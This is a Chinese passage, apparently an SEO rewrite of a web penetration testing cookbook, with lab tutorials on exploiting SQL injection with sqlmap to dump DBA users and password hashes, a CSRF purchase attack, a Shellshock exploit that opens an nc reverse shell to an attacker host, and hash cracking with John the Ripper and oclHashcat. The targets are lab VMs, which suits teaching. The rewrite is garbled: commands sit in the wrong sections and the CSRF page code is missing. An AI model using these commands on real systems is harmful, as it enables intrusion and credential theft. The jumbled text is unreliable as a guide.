为了提高文章的SEO效果,我将重新构建文章内容,保持原有信息的基础上,确保内容的相似度低于30%。以下是我对原文的重新构建:
1 sqlmap -u "http://192.168.56.103/bWAPP/sqli_6.php" --cookie="PHPS ESSID=15bfb5b6a982d4c86ee9096adcfdb2e0; security_level=0" --data "title=test&action=search" -p title --is-dba
这种攻击方法可以继续获取DBMS的版本,并使用特定于厂商的命令来检查用户是否具有管理权限。如果是,您可以提取所有用户名和密码,激活远程连接以及执行其他许多操作。您可以尝试使用SQLMap等工具来利用此类注入漏洞。还有一种基于时间的SQL盲注攻击,其中我们无法通过可视线索(例如有效或无效的账户信息)来判断命令是否被执行。相反,我们需要发送一个sleep命令到数据库,如果响应时间与我们发送的时间相符,则表示命令被执行。这种类型的攻击非常缓慢,因为有时需要等待30秒才能获得一个字符的响应。在这种情况下,类似sqlninja或SQLMap的工具非常有用。
7.5 使用SQLMap获取数据库信息
在第六章中,我们使用SQLMap从数据库中提取信息和表的内容。这非常实用,但这并不是该工具的唯一优势,也不是最有趣的功能。在本教程中,我们将使用SQLMap来提取有关数据库用户和密码的信息,从而使我们能够访问整个系统,而不仅仅是应用程序。
操作步骤:
1 sqlmap -u "http://192.168.56.103/bWAPP/sqli_6.php" --cookie="PHPS ESSID=15bfb5b6a982d4c86ee9096adcfdb2e0; security_level=0" --data "title=test&action=search" -p title --is-dba --users --passwords
1 sqlmap -u "http://192.168.56.103/bWAPP/sqli_6.php" --cookie="PHPS ESSID=15bfb5b6a982d4c86ee9096adcfdb2e0; security_level=0" --data "title=test&action=search" -p title –sql-shell
1 sqlmap -u "http://192.168.56.103/bWAPP/sqli_6.php" --cookie="PHPS ESSID=15bfb5b6a982d4c86ee9096adcfdb2e0; security_level=0" --data "title=test&action=search" -p title --is-dba
我们可以看到注入成功了。当前的用户是DBA,这意味着用户可以对数据库执行管理员操作,例如添加用户和修改密码。我们现在已经获得了数据库的用户列表和哈希密码。
工作原理:
一旦我们确定存在SQL注入漏洞,我们使用SQLMap来利用它,如下所示:
service apache2 start
在这个SQLMap调用中,我们使用–cookie参数来发送会话Cookie,因为应用程序需要身份验证才能访问sqli_6.php页面。–data参数包含发送到服务器的POST数据,=p告诉SQLMap只注入title参数,–is-dba用于检查当前用户是否具有管理员权限。
DBA权限允许我们向数据库查询其他用户的信息,SQLMap通过–users和–passwords参数使我们的操作更加简单。这些参数用于查询用户名和密码,由于所有DBMS都会对用户密码进行加密存储,我们只能获得哈希值。因此,我们仍然需要使用密码破解器来破解它们。如果在SQLMap询问是否执行字典攻击时回答Yes,您可能会得到至少一个用户的密码。
我们还使用–sql-shell选项从我们发送的SQL查询中获取shell。这不是真正的shell,当然,SQLMap通过SQL注入发送我们编写的命令,并返回这些查询的结果。
7.6 执行CSRF攻击
CSRF攻击强迫经过身份验证的用户在Web应用程序中执行需要身份验证的非预期操作。这可以通过用户浏览的外部站点触发该操作来实现。
在本教程中,我们将获取应用程序中的信息,以观察攻击站点是否能够向漏洞服务器发送有效的请求。然后,我们将创建一个页面来模拟正常请求,并诱使用户在身份验证后访问该页面。恶意页面随后将向漏洞服务器发送请求,如果应用程序在同一浏览器中打开,它将执行操作,就像用户发送了这些请求一样。
准备工作:
要执行CSRF攻击,我们将使用vulnerablevm中的WackoPicko应用程序。我们需要两个用户,一个是受害者vuser,另一个是攻击者。
我们还需要启动BurpSuite并将其配置为服务器的代理。
操作步骤:
第一个有趣的调用是/WackoPicko/cart/action.php?action=add&picid=8,它是向购物车添加图片的请求。/WackoPicko/cart/confirm.php在我们点击相应按钮时调用,它可能用于购买。另一个可供攻击者利用的是购买操作的POST调用:/WackoPicko/cart/action.php?action=purchase,它告诉应用程序将图片添加到购物车并收取相应的Tradebux。
1
2
3
4 Error 404: Not found
5
6
7
8
9
10
11
1 This image looks a lot like this
1 () { :;}; echo "Vulnerable:"
这段代码会向我们的WackoPicko站点发送add、review和confirm请求,然后向用户展示404页面。当页面加载完成后,它会重定向到购买操作,并在一秒后关闭窗口。
译者注:这一步的前提是页面上存在XSS漏洞,如果没有的话,可以通过社会工程直接发送链接也是可行的。
对于CSRF攻击工具,成功执行漏洞需要预先设置的条件。首先,我们需要了解执行特定操作所需的请求参数,以及我们需要处理的所有响应。在本教程中,我们使用代理和有效用户帐户来执行所需的操作,以复制和收集所需的信息:购买过程中涉及的请求、这些请求所需的信息以及执行它们的正确顺序。
一旦我们知道需要向应用程序发送什么,我们需要自动化这个过程,因此我们启动Web服务器并准备页面,以便以正确的顺序和参数调用。通过使用onLoadJS事件,我们确保在add和confirm调用之前不会执行购买操作。
在每个CSRF攻击中,都必须有一种方法让用户访问我们的恶意站点,同时保持对正常站点的登录。在本教程中,我们使用应用程序的评论功能,它允许输入HTML代码并在其中插入链接。因此,当用户点击图片评论中的链接时,它会向我们的Tradebox盗取站点发送请求。
最后,当用户访问我们的站点时,它会模拟错误页面,并在购买请求完成后关闭自身。在这里,我们不需要进行渗透测试,因此错误页面可以进行改进,使用户不会怀疑它。这是通过HTML body标签中的onload事件中的JavaScript命令(购买操作的调用和用于关闭窗口的计时器)完成的。该事件在页面的所有元素完全加载后触发,换句话说,当add、review和confirm步骤完成后。
7.7 使用Shellsock执行命令
Shellshock(也称为Bashdoor)是在2014年9月发现的Bash shell中的一个漏洞,允许通过存储在环境变量中的函数来执行命令。
Shellshock与我们渗透测试人员有关,因为开发人员有时允许我们在PHP或CGI脚本中调用系统命令-这些脚本可以利用系统环境变量。
在本教程中,我们将利用Bee-box漏洞虚拟机中的Shellshock漏洞来获取服务器的命令执行权限。
操作步骤:
1 () { :;}; echo "Vulnerable:" $(/bin/sh -c "/sbin/ifconfig")
1 nc -vlp 12345
1 () { :;}; echo "Vulnerable:" $(/bin/sh -c "nc -e /bin/bash 192.168.56.1 12345")
1 () { :;}; echo "Vulnerable:"
这里,192.168.56.1是我们Kali主机的地址。
工作原理:
在第一步中,我们发现了shell脚本的调用。由于它可以由shell解释器运行,它可能是受漏洞影响的Bash版本。为了验证这一点,我们执行了以下测试:
1 john --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-md5 hashes_6_7.txt
第一部分() { :;};是一个空函数,因为Bash可以将函数存储为环境变量,这是漏洞的核心。在函数结束后,解析器将继续解释(并执行)命令,这使我们能够执行第二部分echo “Vulnerable:”,它只是简单地返回输入的命令。
由于Web服务器中存在漏洞,CGI事先将请求的所有部分映射为环境变量,因此此攻击也可以通过User-Agent或Accept-Language触发。
一旦我们确定服务器存在漏洞,我们键入测试命令ifconfig并建立反向shell。
反向shell是一种远程shell,其特点是由受害者主机初始化,攻击者监听连接,而不是服务器在绑定连接中等待客户端连接。
7.8 使用John the Ripper和字典破解密码哈希
在上一个教程中,以及第六章中,我们从数据库中提取了密码哈希。在进行渗透测试时,有时这是发现密码的唯一方法。为了找到真正的密码,我们需要破解它们。由于哈希是由不可逆的函数生成的,我们无法直接解密密码。因此,使用暴力破解和字典攻击等耗时的方法是必要的。
在本教程中,我们将使用John the Ripper(JTR或John),这是最流行的密码破解器之一,从第六章“逐步执行基本的SQL注入”教程中提取的哈希中恢复密码。
操作步骤:
1 john --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-md5 hashes_6_7.txt –rules
1 oclhashcat
我们使用Kali预置的单词列表之一。我们可以看到单词列表中的六个密码中有五个被发现,我们还可以看到John每秒可以比较10,336,000次(10,336 KC/s)。
我们可以看到规则生效了,我们得到了最后一个密码。
工作原理:
John(以及任何离线密码破解器)的工作方式是计算列表(或生成的)单词的哈希,并将它们与需要破解的哈希进行比较,当找到匹配时,它假设找到了密码。
第一个命令使用–wordlist选项告诉John要使用哪个单词列表。如果省略它,它将生成自己的列表来执行暴力破解攻击。–format选项告诉我们要使用什么算法生成哈希,如果省略该选项,John会猜测它,通常会有不错的结果。最后,我们将包含要破解的哈希的文件传递给它。
通过使用–rules选项,我们可以增加找到密码的机会,因为它会尝试创建更强的密码来破解。例如,对于密码password,John还会尝试以下内容:
7.9 使用oclHashcat/cudaHashcat破解密码哈希
最近,显卡的发展取得了巨大突破,这种芯片中含有成百上千个处理器,它们可以并行工作。在密码破解方面,这意味着如果单个处理器每秒可以计算一万个哈希,那么带有上千个内核的GPU就可以计算一千万个。这可以将破解时间缩短到原来的千分之一。
现在,我们将使用Hashcat的GPU版本来破解密码。如果您在安装了Kali的N卡电脑上,您需要使用cudaHashcat。如果您在安装了Kali的A卡电脑上,则需要使用oclHashcat。如果您在虚拟机上安装了Kali,则GPU破解可能无法正常工作,但您始终可以在主机上安装它,因为它在Windows和Linux上都有版本。
在本教程中,我们将使用oclHashcat,它与cudaHashcat的命令没有区别,尽管A卡对于密码破解更高效。
准备工作:
我们需要确保您正确安装了显卡驱动程序,并且oclHashcat与之兼容,因此您需要执行以下操作:
1 oclhashcat --benchmark
1 oclhashcat --benchmark --force
1 oclhashcat -m 0 -a 3 21232f297a57a5a743894a0e4a801fc3
我们将使用上一个教程中使用的相同哈希文件。
操作步骤:
1 oclhashcat -m 0 -a 3 hashes_only_6_7.txt
1 oclhashcat --help
您可以看到,我们能够在一秒钟内直接破解出哈希。
您可以看到,它在三分钟内涵盖了一到七个字符的所有组合(每秒破解6.885亿个哈希)。而对于八个字符的所有组合,它需要花费超过两个小时的时间来测试。这对于爆破攻击非常有效。
工作原理:
在本教程中,我们使用的参数用于执行oclHashcat,其中定义了要使用的哈希算法:-m 0告诉程序使用MD5来计算所生成单词的哈希,并指定攻击类型为-a 3,表示我们打算使用纯暴力破解攻击,并尝试所有可能的字符组合,直到找到密码。最后,我们在第一种情况下添加了要破解的哈希,而在第二种情况下,我们添加了包含哈希集合的文件。
oclHashcat还可以使用字典文件执行混合攻击(即暴力破解加上字典攻击),以定义要测试的字符集,并将结果保存到指定的文件中(/usr/share/oclhashcat/oclHashcat.pot)。它还可以应用规则对单词进行修改,并使用统计模型(马尔可夫链)来提高破解效率。使用–help命令查看所有选项,如下所示: